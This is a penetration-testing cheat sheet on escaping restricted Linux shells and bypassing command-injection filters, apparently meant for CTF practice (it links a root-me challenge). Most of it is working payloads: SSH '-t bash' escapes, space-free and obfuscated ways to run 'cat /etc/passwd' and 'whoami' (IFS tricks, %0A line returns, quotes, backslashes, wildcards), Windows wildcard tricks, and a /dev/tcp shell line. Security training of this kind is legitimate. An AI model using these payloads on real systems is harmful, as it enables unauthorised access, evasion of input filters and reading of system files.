Restricted shells
Bypass restricted shells
Example for restricted shell
First:
Check 'echo $PATH'
Ls to check what command in the $path (ls -l /home/student/.bin)
Fix path export PATH=/bin:/usr/bin
Enumeration Linux Environment Enumeration is the most important part. We need to enumeration the Linux environmental to check what we can do to bypass the rbash.
We need to enumerate :
First we must to check for available commands like cd/ls/echo etc.
We must to check for operators like >,>>,<,|.
We need to check for available programming languages like perl,ruby,python etc.
Which commands we can run as root (sudo -l).
Check for files or commands with SUID perm.
You must to check in what shell you are : echo $SHELL you will be in rbash by 90%
Check for the Environmental Variables : run env or printenv Now let’s move into Common Exploitation Techniques.
Practice
Practice restricted shell escape: https://www.root-me.org/en/Challenges/App-Script/Bash-Restricted-shells
SSH
ssh user@192.168.0.53 -t bash
Or
ssh user@192.168.0.53 -t /bin/bash
Or
ssh user@192.168.0.53 -t "bash --noprofile"
Add Path
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Chaining commands
Inside a command
Filter Bypasses
Bypass without space
Works on Linux only.
cat</etc/passwd
{cat,/etc/passwd}
cat$IFS/etc/passwd
echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
X=$'uname\x20-a'&&$X
sh</dev/tcp/127.0.0.1/4242
Commands execution without spaces, $ or { } - Linux (Bash only)
IFS=,;`cat<<<uname,-a
Works on Windows only.
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
Bypass with a line return
something%0Acat%20/etc/passwd
Bypass Blacklisted words
Bypass with single quote
w'h'o'am'i
Bypass with double quote
w"h"o"am"i
Bypass with backslash and slash
w\ho\am\i
/\b\i\n/////s\h
Bypass with $@
who$@ami
echo $0
-> /usr/bin/zsh
echo whoami|$0
Bypass with variable expansion
/???/??t /???/p??s??
test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}
Bypass with wildcards
powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
Last updated